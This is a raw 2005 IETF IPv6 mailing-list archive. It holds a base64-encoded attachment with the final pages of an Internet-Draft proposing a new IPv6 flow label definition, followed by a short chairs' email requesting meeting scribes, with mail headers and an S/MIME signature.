cHJhY3RpY2FsIG9yIGFkdmlzYWJsZS4gVGhlIGZsZXhpYmxlIGZsb3cgbGFiZWxpbmcNCiAgIHRo YXQgYWxsb3dzIHBlciBmbG93IHNldCB1cHMgYW5kIHRlYXIgZG93bnMsIG9yIG9wdGluZyBvdXQg b2YgZmxvd3MNCiAgIHdoZXJlIGZsb3dzIGFyZSBub3QgbmVlZGVkIGlzIG1vcmUgZGVzaXJhYmxl IC4NCg0KICAgCS0gIFRoZSBGbG93IExhYmVsIGFzIHNwZWNpZmllZCBoZXJlIGNhbiBwb3RlbnRp YWxseSBiZSB1c2VkIGZvciBWUE5zDQogICAodGhpcyBpcyB0byBiZSBhZGRyZXNzZWQgaW4gZnV0 dXJlIHdvcmspLg0KDQogICBUbyBzdW1tYXJpemUsIHRoZSBmbGV4aWJsZSBsYWJlbCBhcyBwcmVz ZW50ZWQgaW4gdGhpcyBuZXcgRmxvdyBMYWJlbA0KICAgc3BlY2lmaWNhdGlvbiBhbGxvd3MgZmxv dyBsYWJlbGluZyBkeW5hbWljYWxseSBvbiBhbiBhcy1hbmQtd2hlcmUNCiAgIG5lZWRlZCBiYXNp cy4gIEl0IGlzIG5vdCBkb25lIHN0YXRpY2FsbHkgYW5kIG9uIGFuIGVuZC10by1lbmQgYmFzaXMN CiAgIGFzIHRoZSBjdXJyZW50IHNwZWNpZmljYXRpb24gZG9lcy4gIEZsb3dzIHNvIGRlZmluaWVk IGFyZSBub3QgdGllZCB0bw0KICAgdGhlIGZsb3cncyBzb3VyY2UtZGVzdGluYXRpb24gbm9kYWwg cGFpciBidXQgY2FuIGJlIHNwZWNpZmllZCBmb3IgYW55DQogICBwYWlyIG9mIG5vZGVzIC0gbm9k ZXMgY29ubmVjdGluZyBieSBhcyBob3J0IGEgbGluayBhcyBvbmUgaG9wLiAgVGhlDQogICBsYWJl bCBiaW5kaW5nIGNhbiBiZSB0b3RhbGx5IGluZGVwZW5kZW50IGZyb20gb25lIGhvcCB0byBhbm90 aGVyLg0KICAgUGFja2V0cyBjYW4gYmUgZm9yd2FyZGVkIHVzaW5nIG9ubHkgdGhlIGxhYmVsIGlu IGEgZmxvdyBvbmNlIHRoZSBmbG93DQogICBoYXMgYmVlbiBzZXQgdXAgdXNpbmcgdGhpcyBsYWJl bC4gIFRoZXJlIGlzIG5vIHJlc3RyaWN0aW9uIGFzIHRvIGhvdw0KICAgYSBsYWJlbCBpcyBib3Vu ZCB0byBhbiBGRUMuICBJdCBpcyBzaWduaWZpY2FudCB0aGF0IGEgZmxvdyBsYWJlbCBpcw0KICAg bm90IG9ubHkgdXNlZCBmb3IgcGFja2V0IGNsYXNzaWZpY2F0aW9uIGJ1dCBhbHNvIGZvciBwYWNr ZXQNCiAgIGZvcndhcmRpbmcuICBQYWNrZXQgZm9yd2FyZGluZyB1c2luZyBvbmx5IHRoZSBsYWJl bCB0aHVzIGNhbiBwcm92aWRlDQogICBzaWduaWZpY2FudCBzYXZpbmdzIGluIG1lbW9yeSwgcHJv Y2Vzc2luZyBhbmQgcG90ZW50aWFsbHksIGJhbmR3aWR0aA0KICAgdXNhZ2UgLSBhbGwgb2Ygd2hp Y2ggYXJlIHZlcnkgaW1wb3J0YW50IGZvciBtb2JpbGUgbmV0d29ya3MgaW4gd2hpY2gNCiAgIHRo ZSBub2RlcyBhcmUgbGltaXRlZCBieSBzaXplLCB3ZWlnaHQgYW5kIHBvd2VyIGZhY3RvcnMgYW5k IGxpbmtzIGJ5DQogICBhdmFpbGFibGUgYmFuZHdpZHRoLg0KDQogICBUaGUgZGlmZmVyZW5jZSBi ZXR3ZWVuIHBhY2tldCBmb3J3YXJkaW5nIGJ5IGZsb3cgbGFiZWwgYW5kIHBhY2tldA0KICAgZm9y d2FyZGluZyBieSBkZXN0aW5hdGlvbiBhZGRyZXNzIGlzIHRoYXQgdGhlIGxhdHRlciBoYXMgbGl0 dGxlIG9yIG5vDQogICBtYXBwaW5nIHRvIFFvUyBkZWxpdmVyeSBvciBzZWN1cmVkIHBhdGggYmFz ZWQgZGVsaXZlcnksIGlzIGdlbmVyYWxseQ0KICAgc2hvcnRlc3QgcGF0aCBiYXNlZCwgZ2VuZXJh bGx5IHJlcXVpcmVzIHJvdXRlIGxvb2sgdXAgKG9mdGVuIGluIHRoZQ0KICAgYmFjayBwbGFuZSks IGlzIG5vdCBmYXN0IGFuZCBpcyBub3Qgc2Vzc2lvbiBzcGVjaWZpYy4NCg0KICAgVGhlIG5ldyBk ZWZpbml0aW9uIHByZXNlbnRlZCBoZXJlIGV4dGVuZHMgdGhlIG9yaWdpbmFsIEZsb3cgTGFiZWwN CiAgIGRlZmluaXRpb24gdG8gb3RoZXIgcHVycG9zZXMgc3VjaCBhcyBWUE5zICh0aGUgc3BlY2lm aWNhdGlvbiBpcyB3b3JrDQogICBpbiBwcm9ncmVzcykgZW5oYW5jaW5nIGJvdGggdGhlIGVmZmlj aWVuY3kgYW5kIGZ1bmN0aW9uYWxpdHkgb2YgdGhlDQogICBJUHY2IHByb3RvY29sLg0KDQo3LiAg U2VjdXJpdHkgQ29uc2lkZXJhdGlvbnMNCg0KICAgU2luY2UgdGhpcyBpcyByZWxhdGVkIHRvIDZM U0EsIHRoZSBjb25zaWRlcmF0aW9ucyBoZXJlIGFyZSBpZGVudGljYWwNCiAgIHRvIHRob3NlIGZv ciA2TFNBIFsyXS4gIFRoZSBmbGV4aWJsZSBGbG93IExhYmVsIGFsbG93cyBzZWN1cml0eQ0KICAg YXNzb2NpYXRpb24uICBJZiB0aGUgc2VjdXJpdHkgYXNzb2NpYXRpb24gKFNBKSBwYXJ0bmVycyBh cmUgb3V0c2lkZQ0KICAgdGhlIDZTTEEsIHRoZW4gdGhlcmUgaXMgbm8gZWZmZWN0IG9mIHRoaXMg c3BlY2lmaWNhdGlvbiBvbiA2TFNBDQogICB3aGV0aGVyIHRoZSBtb2RlIG9mIG9wZXJhdGlvbiBp cyBpbiB0aGUgdHJhbnNwb3J0IG1vZGUgb3IgaW4gdGhlDQogICB0dW5uZWwgbW9kZS4NCg0KICAg SW4gdGhlIHRyYW5zcG9ydCBtb2RlIG9mIFNBLCBvbmx5IHRoZSBwYWNrZXQgcGF5bG9hZCBpcyBz dWJqZWN0IHRvDQogICBlbmNyeXB0aW9uIG9yIGF1dGhlbnRpY2F0aW9uLCBzbyB0aGUgSVB2NiBw YWNrZXQgaGVhZGVyIGZlYXR1cmVzIGFyZQ0KDQoNCg0KQm91bmQsIGV0IGFsLiAgICAgICAgICAg RXhwaXJlcyBBdWd1c3QgMjEsIDIwMDUgICAgICAgICAgICAgICAgW1BhZ2UgMTJdDQoMDQpJbnRl cm5ldC1EcmFmdCAgICBQcm9wb3NhbCBmb3IgYSBOZXcgRmxvdyBMYWJlbCBEZWZpbml0aW9uIEZl YnJ1YXJ5IDIwMDUNCg0KDQogICBub3QgYWZmZWN0ZWQgYW5kIHRoZSA2TFNBIGJlaW5nIGEgdHJh bnNwb3J0IG1lY2hhbmlzbSB0aGF0IHNldHMgdXANCiAgIDZMU1BzIGFuZCBwcm92aWRlcyBzcGVj aWZpYyBGRUMtZHJpdmVuIGZvcndhcmRpbmcgdHJlYXRtZW50LCB0aGVyZSBpcw0KICAgbm8gaW1w YWN0IG9uIHRoZSA2TFNBIG9yIGltcGFjdCBvbiBTQSBvcGVyYXRpb24gYnkgdGhlIDZTTEEgb3Ig dGhpcw0KICAgc3BlY2lmaWNhdGlvbiBvZiB0aGUgbGFiZWwuDQoNCiAgIEluIHRoZSB0dW5uZWwg bW9kZSBvZiBTQSwgdGhlIFNBIHJlcXVpcmVzIGFuIG91dGVyIHdyYXBwZXIgSVB2Ng0KICAgcGFj a2V0LiAgVGhlIHNlbmRpbmcgZ2F0ZXdheSB3cmFwcyB0aGUgd2hvbGUgSVB2NiBwYWNrZXQgaW5j bHVkaW5nDQogICB0aGUgY29udGVudC4gIFRoZSByZWNlaXZpbmcgZ2F0ZXdheSBwZXJmb3JtcyB0 aGUgY2hlY2tzdW0gb24gdGhlDQogICBvdXRlciB3cmFwcGVyIHBhY2tldCwgdW53cmFwcyB0aGUg cGFja2V0IGFuZCB0aGVuIHZlcmlmaWVzIHRoZQ0KICAgY2hlY2tzdW0gb2YgdGhlIGlubmVyIHBh Y2tldCB0aHJvdWdoIGVuZC10by1lbmQgU0EuICBJZiB0aGUgb3V0ZXINCiAgIHdyYXBwZXIgcGFj a2V0IGNvbnZleXMgdGhlIEZsb3cgTGFiZWwgdmFsdWUgb2YgdGhlIGlubmVyIHBhY2tldCwgdGhl bg0KICAgaGVyZSBhbHNvLCB0aGVyZSBpcyBubyBpbXBhY3Qgb24gdGhlIDZMU0EgYmFzZWQgdHJh bnNwb3J0IG9mIHRoZQ0KICAgc2VjdXJlIHBhY2tldHMgb3IgdmljZSB2ZXJzYS4NCg0KICAgVGhl IEF1dGhlbnRpY2F0aW9uIEhlYWRlciAoQUgpIGlzIHVzZWQgaW4gSVB2NiBmb3IgYXV0aGVudGlj YXRpb24gb2YNCiAgIGluZGl2aWR1YWwgcGFja2V0cyB0byBwcmV2ZW50IGNvbW1vbiBJbnRlcm5l dC1iYXNlZCBhdHRhY2tzIHN1Y2ggYXMNCiAgIElQIGFkZHJlc3Mgc3Bvb2ZpbmcgYW5kIHNlc3Np b24gaGlqYWNraW5nLiAgVGhlIGNvbXB1dGF0aW9uIG9mDQogICBjcnlwdG9ncmFwaGljYWxseSBz ZWN1cmUgY2hlY2tzdW0gb3ZlciB0aGUgcGF5bG9hZCBhcyB3ZWxsIGFzIHNvbWUNCiAgIGZpZWxk cyBvZiB0aGUgSVB2NiBhbmQgZXh0ZW5zaW9uIGhlYWRlcnMgaGFzIHRvIHRha2UgcGxhY2UgYmV0 d2Vlbg0KICAgdGhlIFNBIHBhcnRuZXJzLiAgVGhpcyBjb21wdXRhdGlvbiBkb2VzIG5vdCBpbmNs dWRlIHRoZSBGbG93IExhYmVsDQogICBmaWVsZCBpbiB0aGUgcGFja2V0IGhlYWRlci4gIFRoaXMg bWFpbnRhaW5zIGxhYmVsIHRyYW5zcGFyZW5jeSBpbiB0aGUNCiAgIDZTTEEuICBBdXRoZW50aWNh dGlvbiBjYW4gYmUgZWl0aGVyIGluIHRoZSB0cmFuc3BvcnQgbW9kZSBvciBpbiB0aGUNCiAgIHR1 bm5lbCBtb2RlLg0KDQogICBUaGUgNlNMQSBzZWN1cml0eSBjb25zaWRlcmF0aW9ucyB0aGF0IGFw cGx5IHRvIEVuY3J5cHRlZCBTZWN1cml0eQ0KICAgUGF5bG9hZCAoRVNQKSBoZWFkZXIgY29tcHJp c2UgZW5jcnlwdGlvbiBtb2RlcyB0aGF0IGFyZSBjYXRlZ29yaXplZA0KICAgYXMgdHJhbnNwb3J0 IG1vZGUgb3IgdHVubmVsIG1vZGUuICBJbiB0aGUgdHJhbnNwb3J0IG1vZGUsIG5vDQogICBlbmNy eXB0aW9uIG9mIHRoZSBGbG93IExhYmVsIGZpZWxkIGlzIHBlcmZvcm1lZCwgc28gdGhlIHZhbHVl IGlzDQogICBjYXJyaWVkIHRocm91Z2ggdGhlIDZTTEEuICBJbiB0aGUgdHVubmVsIG1vZGUsIHRo ZSBpc3N1ZXMgYXJlIHRoZQ0KICAgc2FtZSBhcyBzdGF0ZWQgaGVyZSBhYm92ZS4gIEluIGJvdGgg Y2FzZXMsIHRoZSBjaGFyYWN0ZXJpc3RpY3Mgb2YgdGhlDQogICBmbGV4aWJsZSBsYWJlbCBpcyBp ZGVudGljYWwgdG8gZml4ZWQgbGFiZWwsDQoNCjguICBBY2tub3dsZWdlbWVudHMNCg0KICAgVGhl IGF1dGhvcnMgZGVlcGx5IGFwcHJlY2lhdGUgZ2VuZXJhbCBhZHZpY2UgYW5kIGVuY291cmFnZW1l bnQNCiAgIHJlY2VpdmVkIGZyb20gaW5zaWRlIGFuZCBvdXRzaWRlIG9mIE1pdHJlLg0KDQo5LiAg RGlzY2xhaW1lcg0KDQogICBUaGUgYWZmaWxpYXRpb24gb2YgY2VydGFpbiBhdXRob3JzIHdpdGgg VGhlIE1JVFJFIENvcnBvcmF0aW9uIGlzDQogICBwcm92aWRlZCBmb3IgaWRlbnRpZmljYXRpb24g cHVycG9zZXMgb25seSwgYW5kIGlzIG5vdCBpbnRlbmRlZCB0bw0KICAgY29udmV5IG9yIGltcGx5 IE1JVFJFknMgY29uY3VycmVuY2Ugd2l0aCwgb3Igc3VwcG9ydCBmb3IsIHRoZQ0KICAgcG9zaXRp b25zLCBvcGluaW9ucyBvciB2aWV3cG9pbnRzIGV4cHJlc3NlZCBieSB0aGUgYXV0aG9yLg0KDQox MC4gIFJlZmVyZW5jZXMNCg0KDQoNCg0KDQoNCkJvdW5kLCBldCBhbC4gICAgICAgICAgIEV4cGly ZXMgQXVndXN0IDIxLCAyMDA1ICAgICAgICAgICAgICAgIFtQYWdlIDEzXQ0KDA0KSW50ZXJuZXQt RHJhZnQgICAgUHJvcG9zYWwgZm9yIGEgTmV3IEZsb3cgTGFiZWwgRGVmaW5pdGlvbiBGZWJydWFy eSAyMDA1DQoNCg0KICAgCVsxXSBKLiBSYWphaGFsbWUsIGV0IGFsLiwgSVB2NiBGbG93IExhYmVs IFNwZWNpZmljYXRpb24sIFJGQyAzNjk3LA0KICAgTWFyY2ggMjAwNC4NCg0KICAgCVsyXSBTLiBD aGFrcmF2b3J0eSwgSVB2NiBMYWJlbCBTd2l0Y2hpbmcgQXJjaGl0ZWN0dXJlICg2TFNBKSwgSUVU Rg0KICAgSUQgkWRyYWZ0LWNoYWtyYXZvcnR5LTZsc2EtMDEudHh0kiwgSnVseSAyMDA0Lg0KDQog ICAJWzNdIFMuIERlZXJpbmcgYW5kIFIuIEhpbmRlbiwgSW50ZXJuZXQgUHJvdG9jb2wsIFZlcnNp b24gNiAoSVB2NikNCiAgIFNwZWNpZmljYXRpb24sIFJGQyAyNDYwLCBEZWNlbWJlciAxOTk4Lg0K DQoNCg0KQXV0aG9ycycgQWRkcmVzc2VzDQoNCiAgIEppbSBib3VuZA0KICAgTkF2NlRGDQogICBQ Lk8uIEJveA0KICAgSG9sbGlzLCBOSCAgMjIxMDINCiAgIFVTQQ0KDQogICBFTWFpbDogSmltLmJv dW5kQGhwLmNvbQ0KDQoNCiAgIFNoYW0gQ2hha3Jhdm9ydHkNCiAgIFRoZSBNSVRSRSBDb3Jwb3Jh dGlvbg0KICAgMTU3NSBDb2xzaGlyZSBEci4NCiAgIE1jTGVhbiwgVkEgIDIyMTAyDQogICBVU0EN Cg0KICAgRU1haWw6IHNjaGFrcmFAbWl0cmUub3JnDQoNCg0KICAgS2V2aW4gWmhhbmcNCiAgIFRo ZSBNSVRSRSBDb3Jwb3JhdGlvbg0KICAgNzUxNSBDb2xzaGlyZSBEci4NCiAgIE1jTGVhbiwgVkEg IDIyMTAyDQogICBVU0ENCg0KICAgRU1haWw6IGt6aGFuZ0BtaXRyZS5vcmcNCg0KDQoNCg0KDQoN Cg0KDQoNCg0KDQoNCg0KQm91bmQsIGV0IGFsLiAgICAgICAgICAgRXhwaXJlcyBBdWd1c3QgMjEs IDIwMDUgICAgICAgICAgICAgICAgW1BhZ2UgMTRdDQoMDQpJbnRlcm5ldC1EcmFmdCAgICBQcm9w b3NhbCBmb3IgYSBOZXcgRmxvdyBMYWJlbCBEZWZpbml0aW9uIEZlYnJ1YXJ5IDIwMDUNCg0KDQpJ bnRlbGxlY3R1YWwgUHJvcGVydHkgU3RhdGVtZW50DQoNCiAgIFRoZSBJRVRGIHRha2VzIG5vIHBv c2l0aW9uIHJlZ2FyZGluZyB0aGUgdmFsaWRpdHkgb3Igc2NvcGUgb2YgYW55DQogICBJbnRlbGxl Y3R1YWwgUHJvcGVydHkgUmlnaHRzIG9yIG90aGVyIHJpZ2h0cyB0aGF0IG1pZ2h0IGJlIGNsYWlt ZWQgdG8NCiAgIHBlcnRhaW4gdG8gdGhlIGltcGxlbWVudGF0aW9uIG9yIHVzZSBvZiB0aGUgdGVj aG5vbG9neSBkZXNjcmliZWQgaW4NCiAgIHRoaXMgZG9jdW1lbnQgb3IgdGhlIGV4dGVudCB0byB3 aGljaCBhbnkgbGljZW5zZSB1bmRlciBzdWNoIHJpZ2h0cw0KICAgbWlnaHQgb3IgbWlnaHQgbm90 IGJlIGF2YWlsYWJsZTsgbm9yIGRvZXMgaXQgcmVwcmVzZW50IHRoYXQgaXQgaGFzDQogICBtYWRl IGFueSBpbmRlcGVuZGVudCBlZmZvcnQgdG8gaWRlbnRpZnkgYW55IHN1Y2ggcmlnaHRzLiAgSW5m b3JtYXRpb24NCiAgIG9uIHRoZSBwcm9jZWR1cmVzIHdpdGggcmVzcGVjdCB0byByaWdodHMgaW4g UkZDIGRvY3VtZW50cyBjYW4gYmUNCiAgIGZvdW5kIGluIEJDUCA3OCBhbmQgQkNQIDc5Lg0KDQog ICBDb3BpZXMgb2YgSVBSIGRpc2Nsb3N1cmVzIG1hZGUgdG8gdGhlIElFVEYgU2VjcmV0YXJpYXQg YW5kIGFueQ0KICAgYXNzdXJhbmNlcyBvZiBsaWNlbnNlcyB0byBiZSBtYWRlIGF2YWlsYWJsZSwg b3IgdGhlIHJlc3VsdCBvZiBhbg0KICAgYXR0ZW1wdCBtYWRlIHRvIG9idGFpbiBhIGdlbmVyYWwg bGljZW5zZSBvciBwZXJtaXNzaW9uIGZvciB0aGUgdXNlIG9mDQogICBzdWNoIHByb3ByaWV0YXJ5 IHJpZ2h0cyBieSBpbXBsZW1lbnRlcnMgb3IgdXNlcnMgb2YgdGhpcw0KICAgc3BlY2lmaWNhdGlv biBjYW4gYmUgb2J0YWluZWQgZnJvbSB0aGUgSUVURiBvbi1saW5lIElQUiByZXBvc2l0b3J5IGF0 DQogICBodHRwOi8vd3d3LmlldGYub3JnL2lwci4NCg0KICAgVGhlIElFVEYgaW52aXRlcyBhbnkg aW50ZXJlc3RlZCBwYXJ0eSB0byBicmluZyB0byBpdHMgYXR0ZW50aW9uIGFueQ0KICAgY29weXJp Z2h0cywgcGF0ZW50cyBvciBwYXRlbnQgYXBwbGljYXRpb25zLCBvciBvdGhlciBwcm9wcmlldGFy eQ0KICAgcmlnaHRzIHRoYXQgbWF5IGNvdmVyIHRlY2hub2xvZ3kgdGhhdCBtYXkgYmUgcmVxdWly ZWQgdG8gaW1wbGVtZW50DQogICB0aGlzIHN0YW5kYXJkLiAgUGxlYXNlIGFkZHJlc3MgdGhlIGlu Zm9ybWF0aW9uIHRvIHRoZSBJRVRGIGF0DQogICBpZXRmLWlwckBpZXRmLm9yZy4NCg0KDQpEaXNj bGFpbWVyIG9mIFZhbGlkaXR5DQoNCiAgIFRoaXMgZG9jdW1lbnQgYW5kIHRoZSBpbmZvcm1hdGlv biBjb250YWluZWQgaGVyZWluIGFyZSBwcm92aWRlZCBvbiBhbg0KICAgIkFTIElTIiBiYXNpcyBh bmQgVEhFIENPTlRSSUJVVE9SLCBUSEUgT1JHQU5JWkFUSU9OIEhFL1NIRSBSRVBSRVNFTlRTDQog ICBPUiBJUyBTUE9OU09SRUQgQlkgKElGIEFOWSksIFRIRSBJTlRFUk5FVCBTT0NJRVRZIEFORCBU SEUgSU5URVJORVQNCiAgIEVOR0lORUVSSU5HIFRBU0sgRk9SQ0UgRElTQ0xBSU0gQUxMIFdBUlJB TlRJRVMsIEVYUFJFU1MgT1IgSU1QTElFRCwNCiAgIElOQ0xVRElORyBCVVQgTk9UIExJTUlURUQg VE8gQU5ZIFdBUlJBTlRZIFRIQVQgVEhFIFVTRSBPRiBUSEUNCiAgIElORk9STUFUSU9OIEhFUkVJ TiBXSUxMIE5PVCBJTkZSSU5HRSBBTlkgUklHSFRTIE9SIEFOWSBJTVBMSUVEDQogICBXQVJSQU5U SUVTIE9GIE1FUkNIQU5UQUJJTElUWSBPUiBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9T RS4NCg0KDQpDb3B5cmlnaHQgU3RhdGVtZW50DQoNCiAgIENvcHlyaWdodCAoQykgVGhlIEludGVy bmV0IFNvY2lldHkgKDIwMDUpLiAgVGhpcyBkb2N1bWVudCBpcyBzdWJqZWN0DQogICB0byB0aGUg cmlnaHRzLCBsaWNlbnNlcyBhbmQgcmVzdHJpY3Rpb25zIGNvbnRhaW5lZCBpbiBCQ1AgNzgsIGFu ZA0KICAgZXhjZXB0IGFzIHNldCBmb3J0aCB0aGVyZWluLCB0aGUgYXV0aG9ycyByZXRhaW4gYWxs IHRoZWlyIHJpZ2h0cy4NCg0KDQpBY2tub3dsZWRnbWVudA0KDQogICBGdW5kaW5nIGZvciB0aGUg UkZDIEVkaXRvciBmdW5jdGlvbiBpcyBjdXJyZW50bHkgcHJvdmlkZWQgYnkgdGhlDQogICBJbnRl cm5ldCBTb2NpZXR5Lg0KDQoNCg0KDQpCb3VuZCwgZXQgYWwuICAgICAgICAgICBFeHBpcmVzIEF1 Z3VzdCAyMSwgMjAwNSAgICAgICAgICAgICAgICBbUGFnZSAxNV0NCgwNCg== ------_=_NextPart_001_01C51CFB.03194768 Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- ------_=_NextPart_001_01C51CFB.03194768-- From ipv6-bounces@ietf.org Mon Feb 28 09:13:55 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA22685 for ; Mon, 28 Feb 2005 09:13:55 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5lfX-0007yE-Gk for ipv6-web-archive@ietf.org; Mon, 28 Feb 2005 09:14:43 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5lb6-0003xd-7q; Mon, 28 Feb 2005 09:10:08 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5lb3-0003xU-E6 for ipv6@megatron.ietf.org; Mon, 28 Feb 2005 09:10:05 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA22352 for ; Mon, 28 Feb 2005 09:10:04 -0500 (EST) Received: from piper.jhuapl.edu ([128.244.26.33] helo=jhuapl.edu) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5lbm-0007t1-CJ for ipv6@ietf.org; Mon, 28 Feb 2005 09:10:52 -0500 Received: from ([128.244.124.185]) by piper.jhuapl.edu with ESMTP id KP-BXZ33.8967088; Mon, 28 Feb 2005 09:09:22 -0500 Mime-Version: 1.0 (Apple Message framework v619.2) To: IPv6 WG Message-Id: From: Brian Haberman Date: Mon, 28 Feb 2005 09:09:23 -0500 X-Mailer: Apple Mail (2.619.2) X-esp: ESP<8>=RBL:<0> RDNS:<0> SHA:<8> UHA:<0> SLS:<0> BAYES:<0> SPF:<0> HTML Dictionary (TRU6):<0> NigeriaScam Dictionary (TRU6):<0> URL Dictionary (TRU6):<0> Phishing:<0> Spam Dictionary (TRU6):<0> CAN-SPAM Compliance Dictionary (TRU6):<0> Obscenities Dictionary (TRU6):<0> Embed HTML Dictionary (TRU6):<0> Porn Dictionary (TRU6):<0> X-Spam-Score: 0.0 (/) X-Scan-Signature: b4a0a5f5992e2a4954405484e7717d8c Cc: Bob Hinden Subject: Scribes needed X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0781521206==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 10d3e4e3c32e363f129e380e644649be --===============0781521206== Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-5-296061649; protocol="application/pkcs7-signature" --Apple-Mail-5-296061649 Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit All, The chairs are looking for volunteers to act as minute-takers and jabber scribes. Please let us know of your willingness to act in one of these capacities. Regards, Brian & Bob --Apple-Mail-5-296061649 Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGJDCCAt0w ggJGoAMCAQICAwz21DANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt YWlsIElzc3VpbmcgQ0EwHhcNMDQwOTAxMTcxOTM4WhcNMDUwOTAxMTcxOTM4WjBKMR8wHQYDVQQD ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMScwJQYJKoZIhvcNAQkBFhhicmlhbkBpbm5vdmF0aW9u c2xhYi5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDRogfqvQwSubSspmgfho1w Br2IRBf5DI+pvLyiFcMM7KTRomseAAznLq+OjixIzT08u0opCIB91C2fohXwqf05+NVmd3/IIrOh gQoQeFrwZdRwkmA1p6/+ivWwwyiIBBVjyIx5cdULoGi3Nl0hanW99zEHWMR7cr9YRfkhrYwyrLwF 2dUlanpDcoC+PJfimFv7Sp5Ymut3GMuvc4hrzmUBs3GhZVUbxrknxBb9C0ApLa++79wQtcrzK7Nr HkGl63vTkfCaR2HqPE53GT1NvPSQyRUMbVBmx5xzuHUlQAY/fMDOLv45qFa9Xb8XfP1Xb+chYzHX xPx4pqVTzZUnfi3RAgMBAAGjNTAzMCMGA1UdEQQcMBqBGGJyaWFuQGlubm92YXRpb25zbGFiLm5l dDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEBBAUAA4GBABHGCDHcruXemZ3lBjGb0E+TXfwILkNu UykBjSlywXfghEVSEO/cZ/0tMjrqIn1GF3GZeKecvx/aIFawl2pSUejjnLUrEE6Ro5AQs5kyZI3b ma3GPa+TMEOeXBr8Wp+HwkMAk+McfRfGNGTDIBwF+8LnQmMCPlvTYEfuUZ93AAxCMIIDPzCCAqig AwIBAgIBDTANBgkqhkiG9w0BAQUFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4g Q2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYG A1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBl cnNvbmFsIEZyZWVtYWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3 dGUuY29tMB4XDTAzMDcxNzAwMDAwMFoXDTEzMDcxNjIzNTk1OVowYjELMAkGA1UEBhMCWkExJTAj BgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJz b25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEpjxV c1X7TrnKmVoeaMB1BHCd3+n/ox7svc31W/Iadr1/DDph8r9RzgHU5VAKMNcCY1osiRVwjt3J8CuF Wqo/cVbLrzwLB+fxH5E2JCoTzyvV84J3PQO+K/67GD4Hv0CAAmTXp6a7n2XRxSpUhQ9IBH+nttE8 YQRAHmQZcmC3+wIDAQABo4GUMIGRMBIGA1UdEwEB/wQIMAYBAf8CAQAwQwYDVR0fBDwwOjA4oDag NIYyaHR0cDovL2NybC50aGF3dGUuY29tL1RoYXd0ZVBlcnNvbmFsRnJlZW1haWxDQS5jcmwwCwYD VR0PBAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFQcml2YXRlTGFiZWwyLTEzODANBgkq hkiG9w0BAQUFAAOBgQBIjNFQg+oLLswNo2asZw9/r6y+whehQ5aUnX9MIbj4Nh+qLZ82L8D0HFAg k3A8/a3hYWLD2ToZfoSxmRsAxRoLgnSeJVCUYsfbJ3FXJY3dqZw5jowgT2Vfldr394fWxghOrvbq NOUQGls1TXfjViF4gtwhGTXeJLHTHUb/XV9lTzGCAucwggLjAgEBMGkwYjELMAkGA1UEBhMCWkEx JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAgMM9tQwCQYFKw4DAhoFAKCCAVMwGAYJKoZIhvcN AQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDUwMjI4MTQwOTI0WjAjBgkqhkiG9w0B CQQxFgQU5FWj6v9ehZ5RCGgyO0Ffceh4NW4weAYJKwYBBAGCNxAEMWswaTBiMQswCQYDVQQGEwJa QTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3Rl IFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECAwz21DB6BgsqhkiG9w0BCRACCzFroGkwYjEL 